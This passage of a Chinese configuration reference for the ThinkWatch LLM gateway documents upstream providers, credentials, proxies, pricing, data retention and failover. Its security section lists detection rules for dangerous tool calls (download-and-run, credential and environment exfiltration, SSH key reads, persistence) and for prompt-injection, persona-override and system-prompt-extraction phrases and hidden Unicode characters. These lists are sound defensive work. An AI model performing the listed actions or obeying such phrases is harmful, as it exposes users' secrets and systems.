`direct`;`system`,即 core 进程环境变量 `HTTPS_PROXY`、`HTTP_PROXY`、`ALL_PROXY` 中的代理;或 `proxies` 中某一项的名字。 | +| `on_proxy_fail` | `fail` \| `direct` | `fail` | 代理不可用时:请求失败(`fail`),或改为直连(`direct`)。 | +| `models` | 字符串列表 | `[]` | 手动添加的模型,写确切的 ID:上游能服务、却没有列进清单的模型。它们和上游列出的模型一起算作这家提供的模型,上游不提供清单时就是全部:出现在 `/v1/models` 里,相应的请求也会路由到这家。`models_only` 照样适用。不支持通配,不能重复,每项最多 256 个字符。 | +| `models_only` | 字符串列表 | — | 只使用这家的这些模型,写 ID 或通配。范围外的模型不出现在模型列表里,也不会路由到这家。不写:全部。写空列表会被拒绝,暂停使用请用 `disabled`。 | +| `billing` | `per-token` \| `free` | `per-token` | `per-token`:费用为用量乘以所选价目表中的单价,订阅账号同样如此。`free`:费用记为 0。 | +| `pricing` | 字符串 | — | `pricing.sheets` 中某张价目表的名字。不写:默认价目表。 | +| `model_specs` | 映射: 模型 ID → [`providers[].model_specs.*`](#cfg-providers-model_specs) | `{}` | 手写这家上游某些模型的上下文窗口、输出上限、会不会推理、收不收图,按模型 ID 完全匹配。写了就优先于价目表,用于价目表里没有或写错的模型。 | +| `max_concurrent` | 整数 | — | 同时发给这家的请求最多几个,取值 1 到 1000。满了的时候,留在这家的对话等空位,别的请求换下一家;等多久见 `failover.slot_wait_secs`。不写:不限。 | +| `disabled` | 布尔 | `false` | 不参与路由,模型也不出现在模型列表里;配置原样保留。 | +| `balance` | `auto` \| `off` \| `openrouter` \| `deepseek` \| `moonshot` \| `sub2api` \| `newapi` \| `thinkwatch` | `auto` | 从哪里读这家上游的余额,用它自己的密钥、走它自己的代理:`openrouter`、`deepseek`、`moonshot`、`sub2api`、`newapi`(New API 和 One API)或 `thinkwatch`(ThinkWatch 企业网关)。`auto`:OpenRouter、DeepSeek、Moonshot 按 `base_url` 识别;其他地址(Anthropic、OpenAI、Gemini 的官方地址除外)询问一次它是不是 Sub2API、ThinkWatch 企业网关或 New API 中转站,结果只保存在内存中。`off`:不读余额。ChatGPT、Z.ai 账号和 Bedrock 不读余额,与这里写什么无关。 | +| `signed_in` | `zai` \| `bigmodel` | — | `key` 来自哪一家的账号登录:`zai`(Z.ai)或 `bigmodel`(BigModel)。在桌面端登录账号时写入,在桌面端更换密钥时删除。不影响请求的发送方式。不写:密钥是手动填写的。 | + + +凭据有四种写法:`key`,放进协议规定的请求头;`oauth`,用 refresh token 换取 token;`aws`,Bedrock 上游签名请求用的访问密钥;`headers`,用于上游自有的鉴权方式。`headers` 可以和其余几种同时使用,但不能再设置已经承载凭据的那个请求头。 + +```yaml +providers: + - name: anthropic + base_url: https://api.anthropic.com + key: ${ANTHROPIC_API_KEY} + + - name: relay + base_url: https://relay.example.com/v1 + protocol: openai-chat + headers: + X-Relay-Token: ${RELAY_TOKEN} + proxy: office + models_only: [gpt-4.1*, o3] + pricing: relay-discount + max_concurrent: 4 + + - name: local + base_url: http://127.0.0.1:11434/v1 + protocol: openai-chat + billing: free +``` + +一家上游提供的模型,是它在 `/v1/models` 列出的模型(Bedrock 为所在区域的模型清单),加上 `models` 中手动添加的模型。上游的清单常常不全:中转站只列出一部分,账号类的后端对旧版本客户端隐藏新模型。写进 `models` 的模型出现在 `/v1/models` 里,可以写进别名、在规则中指定、在密钥的 `allow` 中放行,也和列出的模型一样路由到这家;`models_only` 对两者同样适用。上游不提供清单时,`models` 就是它的全部模型;两者都没有时,它不列出任何模型,但任何模型的请求仍可能路由到这家。 + +每个请求只带请求本身和上游需要的请求头,客户端的其他信息一律不发:凭据和 `headers` 中写的请求头、ThinkWatch 自己的 `User-Agent`,以及客户端请求中该上游协议使用的请求头(Anthropic 为 `anthropic-*`,OpenAI 为 `Idempotency-Key` 和 `X-Client-Request-Id`,Gemini 没有)。客户端自动填写的身份字段(如 Claude Code 的 `metadata.user_id`)从请求体中去掉。只接受特定客户端的上游,打开 `forward_client_identity`。 + +请求转换为 Anthropic 格式、或转给 Bedrock 上的 Claude 时,客户端自己没有标出缓存位置的,由网关标出可以缓存的位置。Codex 等使用 OpenAI 或 Gemini 格式的客户端无从标注:这两家自动缓存重复的提示,Anthropic 只缓存标出的部分。标注的位置是工具列表末尾、系统提示末尾和最后两条用户消息的末尾,最多四处,缓存时长为默认的五分钟。两条用户消息中靠前的那一处正是上一个请求结束的位置,因此每一轮都能读回上一轮写入的缓存,这部分按缓存价而不是全额输入价计费。缓存的写入和读取按价目表中的缓存单价计费。自带标注的请求(如 Claude Code 的)保持原样,按上游自身格式直接转发的请求不做改动。 + +Bedrock 上只为 AWS 列出支持提示缓存的 Claude 模型标注:Claude 3.7 Sonnet、Claude 3.5 Sonnet v2,以及 4.5 起的所有 Claude,包括尚未列出的更新版本。更早的模型(如 Claude 3 Haiku、Sonnet 4、Opus 4.1)不标注。上游拒绝这些标注时,网关去掉标注重新发送一次,此后在 core 重启之前不再为这家上游的该模型标注。 + +ChatGPT 账号上游(`protocol: chatgpt`)只接受桌面应用登录得到的凭据,不能手写。不支持 Claude 和 Google 的订阅登录,请使用 API 密钥。 + +有的中转站和账号同时只接受几个请求,多出来的直接拒绝。`max_concurrent` 让网关守住这个数:请求发出时占用这家的一个位置,回答完整交给客户端、或者客户端断开时归还。这家满了的时候,为复用提示缓存而留在这家的对话等空位,别的请求直接换下一家。最多等多久由 `failover.slot_wait_secs` 决定。等待不算失败,这家不会因此停用。只计算 token 数的请求不占位置。Responses 的 WebSocket 连接上,每个 `response.create` 从发出起占一个位置,直到它的回答结束,密钥的 `max_concurrent` 也一样;空闲的连接不占位置。 + +#### `providers[].oauth` + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `access` | 字符串 | — | 当前的 access token。每次刷新后由网关写回;不写则在第一次使用时换取。 | +| `expires_at` | 字符串 | — | `access` 的过期时间,RFC 3339(UTC),随 token 一起写回。不写:一直用到上游返回 401。 | +| `refresh` | 字符串 | **必填** | Refresh token。token 端点换发新的之后旧的即作废,因此网关会把新的写回本文件。 | +| `endpoint` | 字符串 | **必填** | token 端点的地址。 | +| `client_id` | 字符串 | — | OAuth 客户端 ID,端点需要时填写。 | +| `client_secret` | 字符串 | — | OAuth 客户端密钥,端点需要时填写。 | +| `refresh_before` | 时长(`30s`、`5m`、`1h`) | — | 提前多久刷新。不写或写法无法识别:`5m`。 | + + +access token 默认放进协议的鉴权请求头。要放在别处,在 `headers` 中写出那个请求头,用 `{{access_token}}` 标出 token 的位置: + +```yaml + oauth: + refresh: ${VENDOR_REFRESH_TOKEN} + endpoint: https://auth.example.com/oauth/token + client_id: my-client + headers: + X-Access: Token {{access_token}} +``` + +#### `providers[].aws` + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `access_key_id` | 字符串,可写 `${VAR}` | — | 访问密钥 ID。与 `secret_access_key` 一起写;也可以改写 `profile`。 | +| `secret_access_key` | 字符串,可写 `${VAR}` | — | 私有访问密钥。 | +| `session_token` | 字符串,可写 `${VAR}` | — | 临时凭证(如 STS 签发的)的会话令牌。过期之后请求会被拒绝,直到换上新的。 | +| `profile` | 字符串 | — | 从 AWS 凭证文件读访问密钥时用的 profile,代替把密钥写在这里:`~/.aws/credentials` 和 `~/.aws/config`,或 `AWS_SHARED_CREDENTIALS_FILE`、`AWS_CONFIG_FILE` 指定的文件,读的是 core 所在机器上的。文件变了会重新读。 | +| `region` | 字符串 | — | 签名用的区域。不写:取 `base_url` 里的区域,这时 `base_url` 必须是标准的推理地址。`base_url` 是 VPC 端点或代理时必须写。 | + + +Bedrock 上游有两种认证方式。Bedrock API Key 写在 `key` 中,以 `Authorization: Bearer` 发送。AWS 访问密钥写在 `aws` 中,或者用 `aws.profile` 从 AWS 凭证文件里的某个 profile 读取:每个请求在请求体定稿之后用它们签名(SigV4),密钥本身不会发送。写在配置中的密钥可以用 `${VAR}` 从环境变量读取。profile 读的是 core 所在机器上的文件,文件变了会重新读,因此把临时密钥刷新进 `~/.aws/credentials` 的工具不需要重启 core。获取凭证时不执行任何命令,因此经 IAM Identity Center 登录(`aws sso login`)、运行 `credential_process` 或扮演角色的 profile 无法使用,请改为导出它们生成的密钥。 + +```yaml +providers: + - name: bedrock + base_url: https://bedrock-runtime.us-east-1.amazonaws.com + key: ${AWS_BEARER_TOKEN_BEDROCK} + + - name: bedrock-keys + base_url: https://bedrock-runtime.eu-west-1.amazonaws.com + aws: + access_key_id: ${AWS_ACCESS_KEY_ID} + secret_access_key: ${AWS_SECRET_ACCESS_KEY} + session_token: ${AWS_SESSION_TOKEN} + + - name: bedrock-profile + base_url: https://bedrock-runtime.us-west-2.amazonaws.com + aws: + profile: dev +``` + +请求转换为 Converse 格式。模型清单取自所在区域的控制面:可按需调用的基础模型、AWS 预设的推理配置(`us.anthropic.claude-…`),以及账号自己创建的应用推理配置(按调用时使用的 ARN 列出)。列出清单需要 `bedrock:ListFoundationModels` 和 `bedrock:ListInferenceProfiles` 权限;没有这两项权限时请求照常转发,可以在 `models` 中手动列出模型。使用 VPC 端点或代理时,在 `base_url` 中写它的地址,在 `aws.region` 中写区域;模型清单也向该地址获取。 + +#### `providers[].model_specs` + +模型的上下文窗口和输出上限取自价目表。中转站自有的模型常常不在价目表里,价目表偶尔也会写错。这时在这里按这家上游、按它模型清单里的 ID(完全匹配)手写。写了的一项优先于价目表,没写的一项仍取价目表。两项至少写一项,都不能是 0。 + +各处用的是同一个数:各种客户端格式的 `/v1/models`、由这家上游服务的别名、网关判断一段对话是否还装得下当前模型,以及请求转换为 Anthropic 格式且没有写输出上限时补上的值。同一个模型由几家上游提供时,`/v1/models` 按 `providers` 中排在最前的那一家给出。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `context_window` | 整数 | — | 上下文窗口,即一次请求最多输入多少 token。不写:取价目表的。 | +| `max_output_tokens` | 整数 | — | 一次回答最多输出多少 token。不写:取价目表的。 | +| `reasoning` | 布尔 | — | 这个模型会不会推理。模型列表(`GET /v1/models`)带着它,客户端据此给出推理档位。不写:取价目表的;价目表也没写时,列表里不给这一项。 | +| `image_input` | 布尔 | — | 这个模型收不收图。模型列表里以 `input_modalities` 给出。不写:取价目表的;价目表也没写时,列表里不给这一项。 | + + +```yaml +providers: + - name: relay + base_url: https://relay.example.com/v1 + protocol: openai-chat + model_specs: + glm-5-air: { context_window: 128000, max_output_tokens: 16384 } + claude-sonnet-4-5: { context_window: 1000000 } +``` + +### `proxies` + +出站代理。不同上游需要的代理往往不同,因此没有全局开关:由每个上游用 `proxy` 选择。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `name` | 字符串 | **必填** | `providers[].proxy` 引用的名字。`direct` 和 `system` 是内置的。 | +| `type` | `socks5` \| `socks5h` \| `http` \| `https` | `socks5h` | `socks5h` 把域名交给代理解析;`socks5` 先在本地解析。`http` 和 `https` 是 HTTP 代理。 | +| `addr` | 字符串 | **必填** | 代理的 `host:port`。 | +| `auth` | 对象,见 [`proxies[].auth`](#cfg-proxies-auth) | — | 代理需要时填写用户名和密码。 | + + +#### `proxies[].auth` + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `user` | 字符串 | **必填** | 用户名。 | +| `pass` | 字符串,可写 `${VAR}` | **必填** | 密码。 | + + +```yaml +proxies: + - name: office + type: http + addr: proxy.example.com:3128 + auth: + user: alice + pass: ${PROXY_PASSWORD} +``` + +`on_proxy_fail` 默认为 `fail`:静默改为直连会让请求走一条意料之外的路径,而使用者仍以为请求经过了代理。 + +### `pricing` + +一次请求的费用为用量乘以模型单价。单价来自默认价目表(LiteLLM 的公开数据集,程序内置一份,每天联网刷新),或来自上游选用的自定义价目表。单价变动只影响此后的请求,不改变已记录请求的费用。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `auto_update` | 布尔 | `true` | 每天联网刷新一次默认价目表,保存为 `config.yaml` 旁边的 `model_prices.json`;此前以及离线时使用内置于程序中的价目表。 | +| `sheets` | 对象列表,见 [`pricing.sheets[]`](#cfg-pricing-sheets) | `[]` | 自定义价目表。上游用 `providers[].pricing` 选用。 | + + +#### `pricing.sheets` + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `name` | 字符串 | **必填** | 价目表的名字,不能重复。 | +| `multiplier` | 数字 | `1` | 作用于默认价目表的全部单价,包括缓存和长上下文单价。 | +| `models` | 映射: 模型 ID → [`pricing.sheets[].models.*`](#cfg-pricing-sheets-models) | `{}` | 单独定价的模型。它们取代默认价目表中该模型的单价,不乘倍率。 | + + +#### `pricing.sheets[].models` + +单价以每百万 token 的美元计,与厂商价格页上的写法一致。每个字段都要写明,计价时不做任何推算。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `input` | 数字 | **必填** | 每百万输入 token 的美元价格。 | +| `output` | 数字 | **必填** | 每百万输出 token 的美元价格。 | +| `cache_read` | 数字 | **必填** | 每百万缓存读取 token 的美元价格。 | +| `cache_write_5m` | 数字 | **必填** | 每百万写入 5 分钟缓存 token 的美元价格。 | +| `cache_write_1h` | 数字 | **必填** | 每百万写入 1 小时缓存 token 的美元价格。 | +| `input_above_200k` | 数字 | — | 单次请求的输入(连同缓存读写)超过 200K token 后的输入单价。与 `output_above_200k` 同时写或都不写;缓存单价仍按上面写的算。 | +| `output_above_200k` | 数字 | — | 单次请求的输入(连同缓存读写)超过 200K token 后的输出单价。 | + + +```yaml +pricing: + sheets: + - name: relay-discount + multiplier: 0.8 + models: + claude-sonnet-4-5-thinking: + input: 3 + output: 15 + cache_read: 0.3 + cache_write_5m: 3.75 + cache_write_1h: 6 +``` + +### `client_probes` + +客户端发出的请求中,有一部分并非出自使用者:连通性检查、预热、会话标题、话题检测、建议。每一类要么在本地应答(`intercept`,不向上游发送任何内容),要么转发(`forward`)。转发的请求和普通请求一样经过路由规则,并带着自己的类别,规则可以用 `when.intent` 匹配。默认只拦下拦了也不会少任何东西的那几类。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `health_check` | `intercept` \| `forward` | `intercept` | 连通性检查(`max_tokens: 1`)。默认在本地应答,不影响任何功能。 | +| `warmup` | `intercept` \| `forward` | `intercept` | 预热请求。默认在本地应答。 | +| `titling` | `intercept` \| `forward` | `forward` | 为会话起标题的请求。默认转发:拦下后所有会话都会是同一个标题。 | +| `topic_detect` | `intercept` \| `forward` | `forward` | 话题检测。默认转发。 | +| `suggestion` | `intercept` \| `forward` | `forward` | 建议。默认转发。 | + + +### `security` + +三项防护,对所有上游一视同仁。每一项都有 `mode`:`off`、`observe`(检测并记录,不改变任何行为)、`enforce`(处置)。出厂时三项都是 `observe`。各项在 `enforce` 下的处置不同:出站脱敏替换,工具调用审查切断响应,内容过滤按每条规则的处置拒绝、删除或只记录。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `redact` | 对象,见 [`security.redact`](#cfg-security-redact) | — | 出站脱敏:请求发出前,把其中任何位置的凭据和个人信息替换掉。 | +| `inspect_tools` | 对象,见 [`security.inspect_tools`](#cfg-security-inspect_tools) | — | 工具调用审查:模型返回的工具调用中出现危险命令时切断响应。 | +| `content` | 对象,见 [`security.content`](#cfg-security-content) | — | 内容过滤:调用方发送的内容中出现指定的词、写法或字符(包括隐藏字符)时,按规则拒绝请求、删除命中的内容或只记录。 | + + +#### `security.redact` + +请求发出前,在整个请求中(包括系统提示、之前的回答和工具调用)查找凭据和个人信息。`enforce` 下将其替换为占位符,回答中重复出现时再换回原值。图片、文件等 base64 内容不查。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `mode` | `off` \| `observe` \| `enforce` | `observe` | `off` 不检测;`observe` 检测并记录,不改变任何行为;`enforce` 检测并处置。 | +| `enable` | 字符串列表 | `[]` | 打开出厂时关着的内置规则,按 id。 | +| `disable` | 字符串列表 | `[]` | 关掉内置规则,按 id。 | +| `custom` | 对象列表,见 [`security.redact.custom[]`](#cfg-security-redact-custom) | `[]` | 自定义规则:正则匹配到的内容和凭据一样替换。 | + + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `name` | 字符串 | **必填** | 日志和应用里显示的名字,也是规则的标识;同一项防护里不能重名。 | +| `pattern` | 字符串 | **必填** | 正则表达式。 | +| `label` | 字符串 | `SECRET` | 占位符名称:正则匹配到的内容替换为 `<>`,每个名称各自编号。只能使用大写字母、数字和下划线,以字母开头,最多 24 个字符。 | +| `disabled` | 布尔 | `false` | 停用这条规则,规则本身留在文件里。 | + + +内置规则: + + +| id | 名称 | 出厂 | +|---|---|---| +| `anthropic-api-key` | Anthropic API key | 开 | +| `openai-project-key` | OpenAI project key | 开 | +| `openai-api-key` | OpenAI API key | 开 | +| `github-personal-token` | GitHub personal access token | 开 | +| `github-oauth-token` | GitHub OAuth token | 开 | +| `github-server-token` | GitHub server token | 开 | +| `github-user-token` | GitHub user token | 开 | +| `github-fine-grained-token` | GitHub fine-grained token | 开 | +| `slack-bot-token` | Slack bot token | 开 | +| `slack-user-token` | Slack user token | 开 | +| `slack-app-token` | Slack app token | 开 | +| `aws-access-key-id` | AWS access key ID | 开 | +| `aws-temporary-key-id` | AWS temporary access key ID | 开 | +| `google-api-key` | Google API key | 开 | +| `google-oauth-token` | Google OAuth token | 开 | +| `gitlab-token` | GitLab token | 开 | +| `stripe-live-key` | Stripe live key | 开 | +| `stripe-restricted-key` | Stripe restricted key | 开 | +| `npm-token` | npm token | 开 | +| `digitalocean-token` | DigitalOcean token | 开 | +| `sendgrid-key` | SendGrid key | 开 | +| `private-key` | Private key | 开 | +| `jwt` | JWT | 开 | +| `conn-string-password` | Connection string password | 开 | +| `cn-resident-id` | Chinese resident ID number | 开 | +| `bank-card` | Bank card number | 开 | +| `email` | Email address | 关 | +| `cn-mobile-phone` | Chinese mainland mobile number | 关 | +| `internal-ip` | Internal IP address | 关 | +| `internal-domain` | Internal domain | 关 | + + +`cn-resident-id`、`bank-card`、`email`、`cn-mobile-phone` 查找的是个人信息而不是凭据。前两条出厂开启,只认结构上核对得上的: + +- `cn-resident-id`:18 位的中华人民共和国居民身份证号码。前两位须是省级行政区划代码,出生日期须是 1900 年 1 月 1 日至今天之间的真实日期,末位须是正确的校验码(ISO 7064 MOD 11-2)。15 位的旧号码不认。 +- `bank-card`:卡号。开头和位数须属于银联、Visa、Mastercard、American Express、JCB、Discover 或 Diners Club,并通过 Luhn 校验;连续书写,或四位一组、以单个空格或单个连字符分隔均可(American Express 另认 4-6-5,Diners Club 另认 4-6-4)。Stripe、Braintree、Adyen 公开的测试卡号不认。 + +`email` 和 `cn-mobile-phone` 出厂关闭:它们没有可核对的结构,代码和文档中形似的内容很多。 + +- `email`:邮箱地址,域名至少两段、最后一段为两个以上的字母。URL 中的用户名(`https://user@host`)和 `icon@2x.png` 这类文件名不认。 +- `cn-mobile-phone`:中国大陆手机号,11 位数字,以 `1` 开头、第二位为 `3` 至 `9`,前后不紧挨其他数字。 + +夹在更长的一串字母或数字中间的号码不认;请求体中以 JSON 数值写出的号码(例如工具调用的参数)也不认,替换它会使请求体不再是合法的 JSON。占位符写明原来是什么(`<>`、`<>`、`<>`、`<>`),安全日志中号码只显示最后四位,邮箱只显示第一个字和域名。自定义规则替换为 `<>`,写了占位符名称(`label`)时用它。 + +#### `security.inspect_tools` + +按规则检查模型返回的工具调用。`enforce` 下命中处置为 `cut` 的规则时切断响应,客户端拿不到可执行的完整调用。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `mode` | `off` \| `observe` \| `enforce` | `observe` | `off` 不检测;`observe` 检测并记录,不改变任何行为;`enforce` 检测并处置。 | +| `enable` | 字符串列表 | `[]` | 打开出厂时关着的内置规则,按 id。 | +| `disable` | 字符串列表 | `[]` | 关掉内置规则,按 id。 | +| `actions` | 映射: 内置规则 id → `cut` \| `record` | `{}` | 内置规则在 `enforce` 下的处置,只写与出厂不同的(`rm-rf-root: record`)。 | +| `custom` | 对象列表,见 [`security.inspect_tools.custom[]`](#cfg-security-inspect_tools-custom) | `[]` | 自定义规则,按工具调用的参数匹配。 | + + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `name` | 字符串 | **必填** | 日志和应用里显示的名字,也是规则的标识;同一项防护里不能重名。 | +| `pattern` | 字符串 | **必填** | 正则表达式。 | +| `action` | `cut` \| `record` | `record` | `enforce` 下切断响应(`cut`),或只记录(`record`)。 | +| `disabled` | 布尔 | `false` | 停用这条规则,规则本身留在文件里。 | + + +内置规则: + + +| id | 名称 | `enforce` 下出厂处置 | +|---|---|---| +| `curl-pipe-sh` | Download and run | `cut` | +| `base64-decode-exec` | Decode and run | `cut` | +| `exfil-env` | Send out environment variables | `cut` | +| `exfil-credentials` | Send out a credential file | `cut` | +| `exfil-credentials-reversed` | Send out a credential file (verb first) | `cut` | +| `ssh-key-read` | Read a private key or cloud credential | `cut` | +| `secret-to-unknown-host` | Send a credential to an unknown host | `cut` | +| `thinkwatch-data` | Read or change ThinkWatch's own data | `cut` | +| `write-startup-item` | Write a startup item | `cut` | +| `crontab-install` | Install a scheduled job | `cut` | +| `rm-rf-root` | Delete home or root | `record` | +| `chmod-777` | World-writable permissions | `record` | +| `upload-file-to-host` | Upload a local file to an external host | `record` | + + +#### `security.content` + +调用方发送的内容中(用户消息及其中的工具结果,不含系统提示和模型自己的回答)出现的词、写法或字符。每条规则按关键词(`contains`)、正则(`regex`)或码位(`codepoints`)匹配,并写明 `enforce` 下的处置:`block` 拒绝请求,`strip` 把命中的内容从调用方的正文中全部删除后发出,`record` 只记录。删除之后会再检查一遍:被隐藏字符拆开的关键词,删掉隐藏字符后照样命中。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `mode` | `off` \| `observe` \| `enforce` | `observe` | `off` 不检测;`observe` 检测并记录,不改变任何行为;`enforce` 检测并处置。 | +| `enable` | 字符串列表 | `[]` | 打开出厂时关着的内置规则,按 id。 | +| `disable` | 字符串列表 | `[]` | 关掉内置规则,按 id。 | +| `actions` | 映射: 内置规则 id → `block` \| `strip` \| `record` | `{}` | 内置规则在 `enforce` 下的处置,只写与出厂不同的。 | +| `custom` | 对象列表,见 [`security.content.custom[]`](#cfg-security-content-custom) | `[]` | 自定义规则。 | + + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `name` | 字符串 | **必填** | 日志和应用里显示的名字,也是规则的标识;同一项防护里不能重名。 | +| `pattern` | 字符串 | **必填** | 关键词;`match: regex` 时为正则表达式;`match: codepoints` 时为码位(`U+200B, U+E0000–U+E007F`)。关键词和正则不区分大小写。 | +| `match` | `contains` \| `regex` \| `codepoints` | `contains` | `contains`:正文包含 `pattern`。`regex`:`pattern` 是正则表达式。`codepoints`:正文中出现 `pattern` 所列码位或码位范围内的字符,多个之间用逗号分隔。 | +| `action` | `block` \| `strip` \| `record` | `record` | `enforce` 下拒绝请求(`block`)、删除命中的内容后发出(`strip`),或只记录(`record`)。 | +| `disabled` | 布尔 | `false` | 停用这条规则,规则本身留在文件里。 | + + +内置规则: + + +| id | 名称 | 分组 | 出厂 | `enforce` 下出厂处置 | +|---|---|---|---|---| +| `unicode-tags` | Unicode tag characters | invisible | 开 | `strip` | +| `bidi-controls` | Bidirectional controls | invisible | 开 | `strip` | +| `zero-width` | Zero-width characters | invisible | 关 | `strip` | +| `private-use` | Private-use characters | invisible | 关 | `strip` | +| `ignore-previous-instructions` | Ignore previous instructions | injection | 开 | `block` | +| `ignore-all-previous` | Ignore all previous | injection | 开 | `block` | +| `disregard-your-instructions` | Disregard your instructions | injection | 开 | `block` | +| `jailbreak` | Jailbreak | injection | 关 | `block` | +| `dan` | DAN | injection | 关 | `block` | +| `developer-mode` | Developer mode | injection | 关 | `block` | +| `you-are-now` | Persona manipulation | persona | 关 | `block` | +| `new-persona` | New persona | persona | 关 | `record` | +| `act-as` | Act as | persona | 关 | `record` | +| `pretend-to-be` | Pretend to be | persona | 关 | `record` | +| `system-prompt` | System prompt extraction | persona | 关 | `record` | +| `reveal-your-instructions` | Reveal instructions | persona | 关 | `record` | +| `what-are-your-rules` | What are your rules | persona | 关 | `record` | +| `base64-wall` | Base64 smuggling | persona | 关 | `record` | +| `zh-ignore-previous` | Ignore previous instructions (Chinese) | chinese | 关 | `block` | +| `zh-forget-your` | Forget your instructions (Chinese) | chinese | 关 | `block` | +| `zh-do-not-follow` | Do not follow (Chinese) | chinese | 关 | `block` | +| `zh-you-are-now` | You are now (Chinese) | chinese | 关 | `block` | +| `zh-role-play` | Role-play (Chinese) | chinese | 关 | `record` | +| `zh-reveal-your` | Reveal your instructions (Chinese) | chinese | 关 | `record` | +| `zh-system-prompt` | System prompt (Chinese) | chinese | 关 | `record` | +| `zh-jailbreak` | Jailbreak (Chinese) | chinese | 关 | `block` | + + +`invisible`(隐藏字符)一组匹配人看不见、模型读得到的字符。Unicode 标签字符(U+E0000–U+E007F)和双向控制符(U+202A–U+202E、U+2066–U+2069)出厂开启;零宽字符(U+200B–U+200D、U+2060、U+FEFF)和私用区字符(U+E000–U+F8FF、U+F0000–U+FFFFD、U+100000–U+10FFFD)出厂关闭,表情符号、波斯文和图标字体也会用到它们。四条在 `enforce` 下都删除命中的字符。 + +```yaml +security: + redact: + mode: enforce + enable: [internal-ip] + custom: + - name: employee-id + pattern: 'EMP-\d{6}' + label: EMPLOYEE + inspect_tools: + mode: enforce + content: + mode: enforce + enable: [zero-width] + custom: + - name: project-x + pattern: project-x + action: strip +``` + +### `retention` + +设两个期限,是因为两类数据的体积相差三个数量级:一条请求的正文有几十 KB,一条请求记录只有几百字节。字节上限用于应对用量突增。 + +每份请求和响应正文最多保存 4 MiB,更长的只保存开头。正文写入磁盘前已去掉凭据和个人号码:`enforce` 下保存的请求带着发给上游的占位符,脱敏规则([`security.redact`](#cfg-security-redact))认出的其他内容一律打码保存,`off` 时也一样。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `body_days` | 整数 | `7` | 请求和响应正文保留的天数。 | +| `row_days` | 整数 | `90` | 每条请求记录(时间、模型、用量、费用)保留的天数。 | +| `body_max_bytes` | 整数 | `5368709120` | 正文最多占用的字节数,超出时从最早的日期开始删除。默认 5 GiB。 | + + +### `failover` + +上游失败后会停用一段时间,接下来的请求直接交给下一个候选。停用多久取决于上游 +给出的原因:余额不足要等充值,额度用完要等到上游说的重置时刻,限流通常几秒钟就 +过去。只有一个候选的请求不受影响。Responses 的 WebSocket 连接上,每个 `response.create` +在这里和一个请求一样算:第一段内容到达之前因为上游出错而失败的,算作一次失败;上游 +拒绝或连不上的连接也一样。 + +流式回答在第一段内容交给客户端之前,上游在流里报的错误和错误状态码一样,会把 +请求换到下一个候选。 + +上游也可能不出声:收下请求之后一直不发内容,或者发到一半停住。连续 +`idle_timeout_secs` 秒(默认 300)没有内容,网关就不再等它。计时从请求发给这家上游的 +那一刻起,等空位的时间不算在内;每来一段内容重新计时:正文、推理、工具调用都算,心跳 +(SSE 注释、Anthropic 的 `ping`、空块、Responses 的 `response.in_progress`)不算,所以 +只保持连接、不出内容的上游同样会超时。整包(非流式)的回答从发出算到整份回来。 + +- 还没有内容交给客户端时,这家上游记一次失败(和 5xx 一样计入 `failures_to_pause`), + 尝试链上这一跳的结果是 `idle_timeout`,请求换到下一个候选。在此之前上游的回答不交给 + 客户端,下一家从头开始回答。没有候选了,客户端收到它自己格式的超时错误(504)。 + 最后一个候选的流是边收边交给客户端的,它的响应开始之后再超时,回答以一条错误事件收尾。 +- 流式回答最多暂存 15 秒。到时还没有内容,客户端先收到 `200` 和流式响应头,以免它自己 + 等响应头的时限先到,之后每 15 秒收到一行 SSE 注释(`: keep-alive`);Gemini 的客户端 + 不发注释。上游的事件照旧暂存到第一段内容,故障转移在同一个 `200` 之下照常进行:下一家 + 的流从头开始;没有候选了,流以客户端格式的错误事件结束,不再是 504。注释不算内容。 +- 已经有内容交给客户端时,换一家会重复已经发出的内容,所以不换:回答按客户端的格式 + 以一条错误事件收尾,请求记为失败。 + +之后这段对话在这一轮里不再留在这家上游。先思考很久才输出的模型,需要把超时调长。 + +```yaml +failover: + idle_timeout_secs: 600 +``` + +上游的并发数满了(`max_concurrent`)时,一个请求等空位合计最多 `slot_wait_secs` +秒。等密钥的 `minute`、`hour` 上限也算在这段时间里,两样加起来不超过 `slot_wait_secs`。 +进行中的对话等它留在的那一家,到时还没有空位就换下一家,缓存在那边从头建; +新的对话遇到满着的上游直接跳过。候选全满时,请求等先空出来的那一家;都没有空出来, +客户端收到 429 和 `Retry-After`,说明上游都忙。如果有上游收到过这个请求并且失败了, +客户端收到的是那次失败。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `failures_to_pause` | 整数 | `3` | 没有说明原因的失败(5xx、连接失败)连续几次后停用这家上游,取值 1 到 100。 | +| `pause_secs` | 整数 | `60` | 这类失败第一次停用的秒数。之后每停用一次翻一倍,直到 `max_pause_secs`;成功一次后回到这个值。 | +| `max_pause_secs` | 整数 | `600` | 翻倍后的停用上限,单位秒,不小于 `pause_secs`。 | +| `no_balance_pause_secs` | 整数 | `1800` | 上游报告余额不足时停用的秒数。 | +| `quota_pause_secs` | 整数 | `3600` | 上游报告额度用完、但没有给出重置时间时停用的秒数。给出了重置时间的,停用到那一刻。 | +| `rate_limit_max_pause_secs` | 整数 | `3600` | 被限流的上游按它给的 `Retry-After` 停用,最多这么多秒。没有 `Retry-After` 的按没有说明原因的失败计。 | +| `idle_timeout_secs` | 整数 | `300` | 